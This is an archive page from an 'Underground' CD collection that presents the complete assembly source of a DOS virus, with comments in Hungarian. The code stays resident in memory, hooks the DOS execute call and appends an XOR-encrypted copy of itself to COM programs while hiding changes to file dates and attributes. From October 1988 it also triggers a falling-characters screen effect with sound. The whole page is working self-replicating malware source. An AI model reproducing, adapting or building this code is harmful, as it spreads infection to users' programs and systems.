Underground

home *** CD-ROM | disk | FTP | other *** search

/ Underground / Underground CD1.iso / virii / zrodla / s / s70x.asm < prev next >

Wrap

Assembly Source File | 1998-01-14 | 20.0 KB | 781 lines

PAGE ,132 VIRUS SEGMENT PARA PUBLIC 'CODE' ASSUME CS:VIRUS,DS:VIRUS R1 EQU IDE-131H R2 EQU BE1-1A3H HOSSZ EQU VEG-KEZDET ORG 100H KEZDET EQU $ DB 1 CLI MOV BP,SP CALL IDE IDE: POP BX ; A CIM VISSZAOLVASASA SUB BX,131H TEST CS:BYTE PTR [BX+KEZDET-R1],1 JZ INDIT LEA SI,[BX+INDIT-R1] MOV SP,OFFSET VEG-INDIT FOLYT: XOR [SI],SI XOR [SI],SP INC SI DEC SP JNZ FOLYT INDIT: MOV SP,BP JMP BEEPUL REGCIM DW 100H VSZ DW 0 MENTAX DW 0 PRGKEZ DB 0,0,0 DW 0 REG1C DD 0 REG21 DD 0 REG28 DD 0 DW 0 FILATT DW 0 FILDAT DW 0 FILIDO DW 0 FILNEV DD 0 FILHOS DD 0 UJKEZD DB 0E9H,0,0 VIDOSZL DB 0 VIDSOR DB 0 VIDMOD DB 0 OLVKAR DB 0 OLVATT DB 0 STATUS DB 0 VIDKEZ DW 0 VIDOFS DW 0 IDOEGYS DW 0 SZAML DW 0 SZAMLEL DW 0 MAXKAR DW 0 POTYKAR DW 0 ORA DB 16 DUP(0) BEEPUL: CALL BE1 BE1: POP BX SUB BX,1A3H MOV CS:[BX+VSZ-R2],CS ; A KODSZEGMENS TAROLASA, AZ INDITAS SZEGMENSE MOV CS:[BX+MENTAX-R2],AX MOV AX,CS:[BX+PRGKEZ-R2] MOV DS:100H,AX ; AZ ELSO HAROM BYTE VISSZAALLITASA MOV AL,CS:[BX+PRGKEZ+2-R2] MOV DS:102H,AL PUSH BX MOV AH,30H ; A DOS VERZIOSZAM BEOLVASASA INT 21H POP BX CMP AL,2 JB VISSZA ; HA KISEBB, MINT A 2.0 VERZIO MOV AX,4BFFH ; A VIRUS AKTIVALTSAG ELLENORZESE XOR DI,DI ; DI=0 XOR SI,SI ; SI=0 INT 21H ; A VIRUS MAR A MEMORIABAN? CMP DI,55AAH ; HA DI=55AA, AKKOR MAR AKTIV JNZ BE2 ; UGRAS, HA MAR MUKODIK JB BE3 ; MINDIG HAMIS VISSZA: STI ; ELINDITJA A GAZDAPROGRAMOT PUSH DS POP ES ; AZ ES VISSZAALLITASA MOV AX,CS:[BX+MENTAX-R2] JMP DWORD PTR CS:[BX+REGCIM-R2] BE2: PUSH BX MOV AX,3521H INT 21H ; A 21H MEGSZAKITASVEKTOR BEOLVASASA MOV AX,BX POP BX ; ES ELTAROLASA A TABLAZATBAN BE3: MOV CS:[BX+REG21-R2],AX MOV CS:[BX+REG21+2-R2],ES MOV AX,0F000H MOV ES,AX MOV DI,0E008H CMP WORD PTR [DI],4F43H ; 'COPR. IBM'+00H ELLENORZESE /LENNE/ JNZ BE4 CMP WORD PTR [DI+2],5250H JNZ BE4 CMP WORD PTR [DI+4],202EH JNZ BE4 CMP WORD PTR [DI+6],4249H JNZ BE4 CMP WORD PTR [DI+8],4DH JZ VISSZA BE4: MOV AX,HOSSZ/10H+11H ; A VIRUS HOSSZA+100H PARAGRAFUSBAN MOV BP,CS ; ES RAALLITASA A PROGRAMOT MEGELOZO DEC BP ; MCB-RE MOV ES,BP MOV SI,CS:[16H] MOV ES:[1],SI MOV DX,ES:[3] ; A SZABAD PARAGRAFUSOK BEOLVASASA DX-BE MOV ES:[3],AX MOV ES:BYTE PTR [0],4DH ; NEM UTOLSO MCB SUB DX,AX ; AZ UJ SZABAD PARAGRAFUSOK SZAMA A VIRUS DEC DX ; HOSSZAVAL ES EGYEL /AZ UJ MCB/ KEVESEBB INC BP ADD BP,AX INC BP MOV ES,BP PUSH BX MOV AH,50H MOV BX,BP INT 21H POP BX XOR DI,DI ; DI=0 PUSH ES POP SS ; SS=ES - AZ UJ VEREM AZ UJ HELYEN LESZ PUSH DI LEA DI,[BX+VEG-R2-1] ; A PROGRAM VEGEROL MOV SI,DI MOV CX,OFFSET HOSSZ ; A VIRUST /CX-BE A VIRUS HOSSZA KERUL/ STD ; VISSZAFELE REPZ MOVSB ; FELMASOLJA PUSH ES LEA CX,[BX+BE9-R2] ; KOZVETLEN VEZERLESATADAS AZ UJ HELYEN PUSH CX ; LEVO VIRUSRA. A PROGRAM VALOJABAN A RETF ; RETF UTASITAS UTAN FOLYTATODIK BE9: MOV CS:[BX+VSZ-R2],CS ; AZ UJ SZEGMENSCIM AZ INDITASHOZ LEA CX,[BX+KEZDET-R2] ; A PROGRAM HOSSZA VIRUS NELKUL REPZ MOVSB ; A PROGRAM 'FELHUZASA' A VIRUS ALA MOV CS:36H,CS DEC BP ; AZ UJ MCB SZEGMENSCIME MOV ES,BP ; ATTOLTENI ES-BE MOV ES:[3],DX ; BEALLITANI A SZABAD PARAGRAFUSOK SZAMAT MOV ES:BYTE PTR [0],5AH ; ES EZ AZ UTOLSO MCB MOV ES:WORD PTR [1],CS ; A PROGRAM SZEGMENSCIME INC BP ; ES=ES+1, A SZEGMENSREGISZTER VISSZAALLITASA MOV ES,BP ; A PROGRAM ELEJERE PUSH DS POP ES ; ES=DS PUSH CS POP DS ; DS=CS LEA SI,[BX+KEZDET-R2] ; A PROGRAM HOSSZA VIRUS NELKUL MOV DI,100H MOV CX,OFFSET HOSSZ ; A VIRUS HOSSZA CLD ; A VIRUS LEMASOLASA A PROGRAM ELOTT REPZ MOVSB ; FELSZABADULT HELYRE PUSH ES ; ES KOZVETLEN VEZERLESATADAS A VEGLEGES LEA AX,DS:BE8 ; HELYEN TALALHATO VIRUS SZAMARA PUSH AX ; AZ UGRAS AZ UJ VIRUS RETF UTASITASA RETF ; UTAN TORTENIK BE8: MOV CS:WORD PTR [2CH],0 MOV CS:16H,CS PUSH DS ; DS ERTEKET ELMENTENI LEA DX,DS:UJ21 ; AZ UJ INT 21H CIMENEK BEALLITASA PUSH CS ; DS=CS POP DS MOV AX,2521H INT 21H POP DS ; DS REGI ERTEKE MOV AH,1AH MOV DX,80H INT 21H ; A DTA CIM BEALLITASA CALL BEMAS ; A RENDSZERIDO BEMASOLASA A TABLAZATBA MOV AH,2AH INT 21H ; RENDSZERDATUM BEOLVASASA CMP CX,1988 ; A MAI DATUM NAGYOBB, MINT 1988? JA BE5 ; IGEN: CSAK FERTOZES JZ BE6 ; IDEN VAN 1988 CMP CX,1980 ; 1980 VAN? JNZ BE5 ; IGEN: CSAK FERTOZES PUSH DS MOV AX,3528H INT 21H ; A 28H VEKTOR BEOLVASASA, ES ELTAROLASA MOV CS:WORD PTR REG28,BX MOV CS:WORD PTR REG28+2,ES MOV AX,2528H MOV DX,OFFSET UJ28 ; DX-BE AZ UJ INT 28H OFFSZETJE PUSH CS POP DS ; DS=CS INT 21H ; A MEGSZAKITASI VEKTOR BEALLITASA POP DS OR CS:STATUS,1000B ; A POTYOGAS LETILTASA JMP BE7 BE6: CMP DH,0AH ; CSAK OKTOBERTOL DECEMBERIG POTYOG JB BE5 ; MEG NINCS BE7: CALL KESLH ; A KESLELTETESI ERTEK MEGHATAROZASA MOV AX,1518H CALL VELETL INC AX MOV CS:SZAML,AX ; A BELSO VALTOZOK BEALLITASA MOV CS:SZAMLEL,AX MOV CS:POTYKAR,1 MOV AX,351CH INT 21H ; AZ 1CH VEKTOR BEOLVASASA ES ELTAROLASA MOV CS:WORD PTR REG1C,BX MOV CS:WORD PTR REG1C+2,ES PUSH DS MOV AX,251CH MOV DX,OFFSET UJ1C ; AZ UJ INT 1CH OFFSZETJE PUSH CS ; ES SZEGMENSE POP DS INT 21H ; AZ 1CH VEKTOR BEALLITASA POP DS BE5: MOV BX,0FFD6H JMP VISSZA UJ21: CMP AH,4BH ; A FUNKCIOKOD 4BH? JZ U21_1 ; IGEN U21_2: JMP DWORD PTR CS:REG21 ; FOLYTATAS A REGI INT 21H-N U21_3: MOV DI,55AAH ; A VIRUS AKTIVALTSAGA LES AX,CS:REG21 MOV DX,CS IRET U21_1: CMP AL,0FFH ; A VIRUS AKTIVALTSAG KERDEZESE? JZ U21_3 ; IGEN CMP AL,0 ; BETOLTES & INDITAS? JNZ U21_2 ; NEM PUSHF ; A REGISZTEREK MENTESE PUSH AX PUSH BX PUSH CX PUSH DX PUSH SI PUSH DI PUSH BP PUSH ES PUSH DS MOV CS:WORD PTR FILNEV,DX MOV CS:WORD PTR FILNEV+2,DS PUSH CS POP ES MOV AX,3D00H INT 21H ; A FILE MEGNYITASA OLVASASRA JC FERT1 MOV BX,AX ; A FILESZAM ATVITELE BX-BE MOV AX,5700H INT 21H ; A KELETKEZESI IDO BEOLVASASA MOV CS:FILDAT,DX ; ES ELTAROLASA MOV CS:FILIDO,CX MOV AH,3FH PUSH CS POP DS MOV DX,OFFSET PRGKEZ MOV CX,3 INT 21H ; AZ ELSO HAROM BYTE BEOLVASASA JC FERT1 CMP AX,CX ; SIKERULT MINDENT BEOLVASNI? JNZ FERT1 ; NEM, HIBA TORTENT MOV AX,4202H XOR CX,CX XOR DX,DX INT 21H ; FILE HOSSZANAK A MEGHATAROZASA MOV CS:WORD PTR FILHOS,AX MOV CS:WORD PTR FILHOS+2,DX MOV AH,3EH INT 21H ; A FILE LEZARASA CMP CS:WORD PTR PRGKEZ,5A4DH JNZ FERT2 ; COM FILE? JMP FERT3 ; EXE ESETEN VISSZATERES FERT2: CMP CS:WORD PTR FILHOS+2,0 JA FERT1 ; NAGYOBB, MINT 64K? CMP CS:WORD PTR FILHOS,0F93BH JBE FERT7 ; A FILE MEG MEGFELELO MERETU FERT1: JMP FERT3 FERT7: CMP CS:PRGKEZ,0E9H ; JMP UTASITAS? JNZ FERT8 ; NEM MOV AX,CS:WORD PTR FILHOS ADD AX,0F959H ; FILE HOSSZA - VIRUS HOSSZA : IDE UGRIK? CMP AX,CS:WORD PTR PRGKEZ+1 JZ FERT1 ; EZ A FILE MAR FERTOZOTT FERT8: MOV AX,4300H LDS DX,CS:FILNEV INT 21H ; A FILE ATTRIBUTUMANAK BEOLVASASA JC FERT1 MOV CS:FILATT,CX ; AZ ATTRIBUTUM TAROLASA XOR CL,20H ; AZ ARCHIV BIT INVERTALASA TEST CL,27H JZ FERT5 MOV AX,4301H XOR CX,CX INT 21H ; AZ UJ ATTRIBUTUM FELIRASA JC FERT1 FERT5: MOV AX,3D02H INT 21H ; FILE NYITASA IRASRA & OLVASASRA JC FERT1 MOV BX,AX ; FILE SORSZAM BX-BE MOV AX,4202H XOR CX,CX XOR DX,DX INT 21H ; MUTATO A FILE VEGERE CALL UTANMAS ; A VIRUST UTANAMASOLNI JNC FERT9 ; SIKERULT? MOV AX,4200H MOV CX,CS:WORD PTR FILHOS+2 MOV DX,CS:WORD PTR FILHOS INT 21H ; MUTATO A FILE EREDETI VEGERE MOV AH,40H XOR CX,CX INT 21H ; A FILEHOSSZ FELIRASA JMP FERT6 FERT9: MOV AX,4200H XOR CX,CX XOR DX,DX INT 21H ; MUTATO A FILE ELEJERE JC FERT6 MOV AX,CS:WORD PTR FILHOS ADD AX,0FFFEH ; AZ UGRASI CIM KISZAMITASA MOV CS:WORD PTR UJKEZD+1,AX MOV AH,040H MOV DX,OFFSET UJKEZD MOV CX,3 INT 21H ; AZ ELSO HAROM BYTE KIIRASA FERT6: MOV AX,5701H MOV DX,CS:FILDAT ; A DATUM MOV CX,CS:FILIDO ; ES IDO BEOLVASASA INT 21H ; ES BEALLITASA MOV AH,3EH INT 21H ; A FILE LEZARASA MOV CX,CS:FILATT ; AZ ATTRIBUTUM BEOLVASASA TEST CL,111B ; R/O, REJTETT VAGY RENDSZER? JNZ FERTA TEST CL,100000B ; ARCHIV FILE? JNZ FERT3 FERTA: MOV AX,4301H LDS DX,CS:FILNEV INT 21H ; A FILE ATTRIBUTUMANAK BEALLITASA FERT3: POP DS ; A REGISZTEREK VISSZAOLVASASA POP ES POP BP POP DI POP SI POP DX POP CX POP BX POP AX POPF JMP U21_2 VELETL PROC NEAR ; EGY VELETLENSZAM ELOALLITASA PUSH DS PUSH CS POP DS PUSH BX PUSH CX PUSH DX PUSH AX MOV CX,7 MOV BX,OFFSET ORA+0EH PUSH [BX] VEL1: MOV AX,[BX-2] ADC [BX],AX DEC BX DEC BX LOOP VEL1 POP AX ADC [BX],AX MOV DX,[BX] POP AX OR AX,AX JZ VEL2 MUL DX VEL2: MOV AX,DX POP DX ; REGISZTEREK VISSZAALLITASA POP CX POP BX POP DS RET VELETL ENDP BEMAS PROC NEAR ; A RENDSZERIDO BEMASOLASA A TABLAZATBA PUSH DS ; A REGISZTEREK ELMENTESE PUSH ES PUSH SI PUSH DI PUSH CX PUSH CS ; ES=CS POP ES MOV CX,40H ; FORRAS= 0000:046CH MOV DS,CX ; AZ ORA BEMASOLASA MOV DI,OFFSET ORA MOV SI,6CH MOV CX,8 ; 16 BYTE CLD ; NOVEKVO IRANYBA REPZ MOVSW POP CX ; A REGISZEREK ELOZO ERTEKEINEK POP DI ; VISSZAALLITASA POP SI POP ES POP DS RET ; VISSZATERES BEMAS ENDP VIDOLV PROC NEAR ; OLVASAS A VIDEORAM-BOL PUSH SI ; REGISZTEREK ELMENTESE PUSH DS PUSH DX MOV AL,DH MUL VIDOSZL ; A SOR SZAMA SZOROZVA A SORON BELULI OSZLOPOK MOV DH,0 ; SZAMAVAL, PLUSZ AZ OSZLOPOK SZAMA ADD AX,DX SHL AX,1 ; SZORZAS KETTOVEL (KAR.+ATTRIB.) ADD AX,VIDOFS ; ELTOLAS A SZEGMENSEN BELUL MOV SI,AX TEST VIDMOD,11111111B ; HAVAZIK A KEPERNYO? MOV DS,VIDKEZ JZ VO3 ; NEM HAVAZIK MOV DX,3DAH ; A CGA KARTYA STATUSZPORTJA CLI ; A MEGSZAKITASOKAT LETILTANI VO1: IN AL,DX ; A STATUSZ BEOLVASASA TEST AL,1000B ; FUGGOLEGES VISSZAFUTAS JNZ VO3 TEST AL,1 ; VARJUK MEG, MIG NEM OLVASHATUNK A RAM-BOL JNZ VO1 VO2: IN AL,DX TEST AL,1 JZ VO2 VO3: LODSW ; A KARAKTER ES ATTRIBUTUM BEOLVASASA STI ; A MEGZAKITAS ELLENORZESE POP DX ; REGISZTEREK VISSZAOLVASASA POP DS POP SI RET VIDOLV ENDP VIDIR PROC NEAR ; KIIRAS A VIDEORAM-BA PUSH DI ; REGISZTEREK ELMENTESE PUSH ES PUSH DX PUSH BX MOV BX,AX ; A KARAKTER ES AZ ATTRIBUTUM ELMENTESE MOV AL,DH ; A CIM KISZAMITASA MUL VIDOSZL MOV DH,0 ADD AX,DX SHL AX,1 ; SZORZAS KETTOVEL ADD AX,VIDOFS MOV DI,AX TEST VIDMOD,11111111B ; HAVAZIK A KEPERNYO? MOV ES,VIDKEZ JZ VI3 ; NEM HAVAZIK MOV DX,03DAH ; A CGA KARTYA STATUSZPORTJA CLI ; MEGSZAKITASOKAT TILTANI VI1: IN AL,DX ; A STATUSZT BEOLVASNI TEST AL,1000B ; FUGGOLEGES VISSZAFUTAS? JNZ VI3 ; IGEN TEST AL,1 ; IRHATUNK A VIDEORAM-BA? JNZ VI1 ; HA IGEN, AKKOR VARJUNK MEG VI2: IN AL,DX ; A STATUSZ BEOLVASASA TEST AL,1 ; VARJUK MEG, AMIRE ISMET OLVASHATUNK JZ VI2 VI3: MOV AX,BX ; A KARAKTER ES AZ ATTRIBUTUM BETOLTESE STOSB ; BEIRASA A VIDEORAM-BA STI ; A MEGSZAKITASOK MAR ENGEDELYEZHETOK POP BX ; A REGISZTEREK VISSZAALITASA POP DX POP ES POP DI RET ; VISSZATERES VIDIR ENDP VARAK PROC NEAR ; VARAKOZAS CX IDEIG PUSH CX V1: PUSH CX MOV CX,IDOEGYS V2: LOOP V2 POP CX LOOP V1 POP CX RET VARAK ENDP HANGSZ PROC NEAR ; A HANGSZORO ATKAPCSOLASA PUSH AX ; AX ELMENTESE IN AL,61H ; A PPI BEOLVASASA XOR AL,2 ; A HANGSZORO ATKAPCSOLASA AND AL,11111110B ; ENGEDELYEZESE OUT 61H,AL ; VISSZAIRASA POP AX ; AX VISSZAALLITASA RET ; VISSZATERES HANGSZ ENDP URES PROC NEAR CMP AL,0 ; NUL KODJA? JZ UR1 ; IGEN CMP AL,20H ; SZOKOZ? JZ UR1 ; IGEN CMP AL,0FFH ; 0FFH IS URES JZ UR1 ; AZ CLC ; NEM URES RET ; VISSZATERES UR1: STC ; URES RET ; VISSZATERES URES ENDP GRAFIK PROC NEAR CMP AL,0B0H ; 0B0H<=AL<=0DFH? JB GR1 ; NEM CMP AL,0DFH JA GR1 ; NEM STC ; IGEN RET ; VISSZATERES GR1: CLC ; NEM GRAFIKUS RET ; VISSZATERES GRAFIK ENDP KESLH PROC NEAR ; A KESLELTETESI ERTEK MEGHATAROZASA PUSH DS MOV AX,40H MOV DS,AX STI MOV AX,DS:6CH ; AZ ORA BEOLVASASA KES1: CMP AX,DS:6CH ; VARAKOZAS, MIG AZ ORA EPPEN NEM LEP JZ KES1 XOR CX,CX ; CX NULLAZASA MOV AX,DS:6CH ; AZ ORA BEOLVASASA KES2: INC CX ; CX=CX+1 JZ KES4 ; HA TULCSORDULT CMP AX,DS:6CH ; LEPETT MAR AZ ORA? JZ KES2 ; MEG NEM KES3: POP DS MOV AX,CX XOR DX,DX MOV CX,0FH DIV CX MOV CS:IDOEGYS,AX ; AZ IDOEGYSEG ELTAROLASA RET KES4: DEC CX JMP KES3 KESLH ENDP POTY PROC NEAR ; POTYOGTATAS MOV VIDSOR,24 PUSH DS MOV AX,40H ; A BIOS PARAMETERBLOKK MOV DS,AX MOV AX,DS:4EH ; A VIDEOPUFFER OFSZET ERTEKE POP DS MOV VIDOFS,AX MOV DL,0FFH MOV AX,1130H MOV BH,0 PUSH ES ; ES & BP ELMENTESE PUSH BP INT 10H ; A SOROK SZAMANAK BEOLVASASA POP BP ; ES & BP VISSZAALLITASA POP ES CMP DL,0FFH JZ PO1 PO4: MOV VIDSOR,DL ; A SOROK SZAMANAK ELTAROLASA PO1: MOV AH,0FH INT 10H ; OSZLOPOK SZAMANAK A BEOLVASASA MOV VIDOSZL,AH ; ES ELTAROLASA MOV VIDMOD,0 ; A MOD ES A VIDEOMEMORIA SZEGMENSCIMENEK MOV VIDKEZ,0B000H ; BEALLITASA CMP AL,7 ; AZ AKTUALIS MOD EGA-TEXT? JZ PO3 ; IGEN JB PO2 JMP PO7 PO2: MOV VIDKEZ,0B800H ; A VIDEOMEMORIA KEZDOCIME CMP AL,3 JA PO3 CMP AL,2 JB PO3 MOV VIDMOD,1 ; HAVAZIK A KEPERNYO MOV AL,VIDSOR ; A SOROK SZAMA INC AL ; MEG EGY MUL VIDOSZL ; SZOROZVA AZ OSZLOPOK SZAMAVAL MOV MAXKAR,AX ; ENNYI KARAKTERHELY VAN A KEPERNYON MOV AX,POTYKAR ; A POTYOGTATANDO KARAKTEREK SZAMA CMP AX,MAXKAR ; NAGYOBB, MINT A MAXIMALIS KARAKTERSZAM? JBE PO5 ; NEM, TOVABB MOV AX,MAXKAR ; A MAXIMALIS KARAKTERSZAM PO5: CALL VELETL ; VELETLENSZAM ELOALLITASA 1 ES A POTYOGTATANDO INC AX ; /VAGY MAXIMALIS/ ERTEK KOZOTT MOV SI,AX ; A MAXIMALISAN POTYOGTATHATO KARAKTEREK SZAMA PO3: XOR DI,DI ; DI=0 PO8: INC DI ; DI=DI+1 : A SIKERTELEN KISERLETEKET SZAMLALJA MOV AX,MAXKAR ; A MAXIMALIS KARAKTERSZAM SHL AX,1 ; SZOROZVA KETTOVEL, ENNYI SIKERTELEN KISERLET CMP DI,AX ; ENGEDELYEZETT EGYMAS UTAN JBE PO6 ; MEG NEM TELT LE JMP PO7 ; TULLEPTE, KILEPETT PO6: OR STATUS,10B ; A KARAKTER NEM POTYOGOTT MOV AL,VIDOSZL ; A MAXIMALIS ERTEK AZ OSZLOPOK SZAMA MOV AH,0 CALL VELETL ; VELETLENSZAM ELOALLITASA MOV DL,AL ; EZ LESZ AZ OSZLOPSZAM MOV AL,VIDSOR ; MAXIMALIS ERTEK A SOROK SZAMA MOV AH,0 CALL VELETL ; VELETLENSZAM ELOALLITASA MOV DH,AL ; EZ LESZ A SORSZAM CALL VIDOLV ; A MEGFELELO KARAKTER BEOLVASASA CALL URES ; URES-E? JC PO8 ; IGEN CALL GRAFIK ; GRAFIKUS-E? JC PO8 ; IGEN MOV OLVKAR,AL ; A BEOLVASOTT KARAKTER ES ATTRIBUTUMANAK MOV OLVATT,AH ; ELTAROLASA MOV CL,VIDSOR ; CX=SOROK SZAMA MOV CH,0 POC: INC DH ; A KOVETKEZO SOR CMP DH,VIDSOR ; ELERTE A MAXIMALISAT? JA PO9 ; TULLEPTE, ABBAHAGYNI CALL VIDOLV ; A KARAKTER BEOLVASASA CMP AH,OLVATT ; AZ ATTRIBUTUM STIMMEL? JNZ PO9 ; NEM EGYEZIK CALL URES ; URES KARAKTER-E? JC POA ; IGEN POE: CALL GRAFIK ; GRAFIKUS-E? JC PO9 ; IGEN INC DH ; A KOVETKEZO SOR CMP DH,VIDSOR ; TULLEPTE AZ UTOLSO SORT? JA PO9 ; IGEN CALL VIDOLV ; BEOLVASAS A VIDEORAM-BOL CMP AH,OLVATT ; AZ ATTRIBUTUMOK OSSZEHASONLITASA JNZ PO9 ; NEM EGYEZNEK CALL URES ; URES KARAKTER-E? JNC POE ; NEM CALL HANGSZ ; HANG ELOALLITASA DEC DH ; A FELETTE LEVO SOR CALL VIDOLV ; BEOLVASASA MOV OLVKAR,AL ; ES AZ OTT LEVO KARAKTER ELTAROLASA INC DH ; AZ ALATTA LEVO SOR POA: AND STATUS,11111101B ; SIKERULT POTYOGTATNI DEC DH ; A FELETTE LEVO SOR MOV AL,20H ; A SZOKOZ KODJA CALL VIDIR ; KIIRASA INC DH ; AZ ALATTA LEVO SOR MOV AL,OLVKAR ; A KARAKTER CALL VIDIR ; KIIRASA JCXZ POB ; HA ELERTUK A LEGALSO SORT, AKKOR KILEPES CALL VARAK ; VARAKOZAS DEC CX ; ES A VISSZALEVO SOROK SZAMANAK CSOKKENTESE POB: JMP POC PO9: TEST STATUS,10B ; POTYOGOTT MAR KARAKTER? JZ POD ; IGEN JMP PO8 ; UJ KISERLET POD: CALL HANGSZ ; HANG ELOALLITASA DEC SI ; EGGYEL KEVESEBB KARAKTER VAN HATRA JZ PO7 ; HA NULLA, AKKOR KILEPNI JMP PO3 ; UJRA KISERELNI PO7: IN AL,61H ; A HANGSZORO BEOLVASASA AND AL,11111100B ; KIKAPCSOLASA OUT 61H,AL ; MAJD VISSZAIRASA RET ; VISSZATERES POTY ENDP UJ1C: TEST CS:STATUS,1001B ; A POTYOGAS TILTVA, VAGY EPPEN POTYOG? JNZ U1C_1 ; IGEN OR CS:STATUS,1 ; EPPEN POTYOG JELZOT BEALLITANI DEC CS:SZAML ; A SZAMLALOT CSOKKENTENI JNZ U1C_2 ; HA MEG NEM NULLA, AKKOR VEGE PUSH DS ; REGISZTEREK ELMENTESE PUSH ES PUSH CS POP DS ; DS=CS PUSH CS POP ES ; ES=CS PUSH AX PUSH BX PUSH CX PUSH DX PUSH SI PUSH DI PUSH BP MOV AL,20H OUT 20H,AL MOV AX,SZAMLEL ; A SZAMLALO ELOZO ERTEKE CMP AX,0438H ; AZ ELOZO ERTEK KISEBB VOLT? JNB U1C_3 ; NEM MOV AX,0438H ; KB. 60 MASODPERC U1C_3: CALL VELETL ; VELETLENSZAM ELOAALITASA INC AX ; AZ IDO NEM LEHET NULLA MOV SZAML,AX ; ES ELTAROLAS A SZAMLALOBA MOV SZAMLEL,AX ; ES MINT A SZAMLALO UTOLSO ERTEKE IS CALL POTY ; POTYOGTATAS MOV AX,3 ; VELETLENSZAM ELOALLIASA CALL VELETL ; 1 ES 3 KOZOTT INC AX MUL POTYKAR ; EZT SZOROZNI A MAXIMALISAN POTYOGTATHATO JNB U1C_4 ; KARAKTEREK SZAMAVAL MOV AX,0FFFFH ; MAXIMUM 65535 DB LEHET U1C_4: MOV POTYKAR,AX ; ELTAROLASA POP BP ; REGISZTEREK VISSZOLVASASA POP DI POP SI POP DX POP CX POP BX POP AX POP ES POP DS U1C_2: AND CS:STATUS,11111110B ; EPPEN NEM POTYOG BEALLITASA U1C_1: JMP DWORD PTR CS:REG1C ; FOLYTATASA A REGI INT 1CH-N UJ28: TEST CS:STATUS,1000B ; TILTVA A POTYOGAS? JZ U28_1 ; HA NEM, AKKOR FELESLEGES VEGREHAJTANI PUSH AX ; REGISZTEREK MENTESE PUSH CX PUSH DX MOV AH,2AH ; A RENDSZERDATUM BEOLVASASA INT 21H CMP CX,1988 ; AZ EV 1988? JB U28_2 ; HA KISEBB, AKKOR KILEPES JA U28_3 ; HA NAGYOBB, AKKOR POTYOGHAT CMP DH,10 ; VAN MAR OKTOBER? JB U28_2 ; HA MEG NINCS, AKKOR NE POTYOGJON U28_3: AND CS:STATUS,11110111B ; A POTYOGAS ENGEDELYEZVE U28_2: POP DX ; REGISZTEREK VISSZAOLVASASA POP CX POP AX U28_1: JMP DWORD PTR CS:REG28 ; FOLYTATAS A REGI INT 28H-N UTANMAS PROC NEAR ; A VIRUS KIMASOLASA A PROGRAM MOGE PUSH ES PUSH BX MOV AH,48H ; MEMORIATERULET ALLOKALASA MOV BX,OFFSET HOSSZ/10H+1 INT 21H POP BX JNC UTAN1 ; SIKERULT? UTAN3: STC POP ES RET UTAN1: MOV BYTE PTR CS:100H,1 MOV ES,AX PUSH CS ; DS=CS POP DS XOR DI,DI ; DI=0 MOV SI,100H ; SI=100H MOV CX,OFFSET HOSSZ ; A VIRUS HOSSZA CLD ; NOVEKVO IRANY REPZ MOVSB ; A VIRUS KIMASOLASA AZ ALLOKALT TERULETRE MOV DI,OFFSET INDIT-100H MOV SI,OFFSET INDIT ADD SI,WORD PTR FILHOS MOV CX,OFFSET VEG-INDIT UTAN2: XOR ES:[DI],SI ; A VIRUS LE XOR-OLASA XOR ES:[DI],CX INC DI INC SI LOOP UTAN2 MOV DS,AX ; DS A PUFFER ELEJERE MUTAT MOV AH,40H XOR DX,DX ; AZ OFSZET A PUFFER ELEJERE MOV CX,OFFSET HOSSZ ; A VIRUS HOSSZA INT 21H ; KIIRAS A PROGRAM MOGE PUSHF PUSH AX MOV AH,49H ; AZ ALLOKALT MEMORIABLOKK FELSZABADITASA INT 21H POP AX ; A REGISZTEREK VISSZAOLVASASA POPF PUSH CS ; DS=CS POP DS JC UTAN3 CMP AX,CX ; MINDEN BYTEOT KIIRT? JNZ UTAN3 ; NEM POP ES CLC ; NEM TORTENT HIBA RET ; VISSZATERES UTANMAS ENDP VEG EQU $ VIRUS ENDS END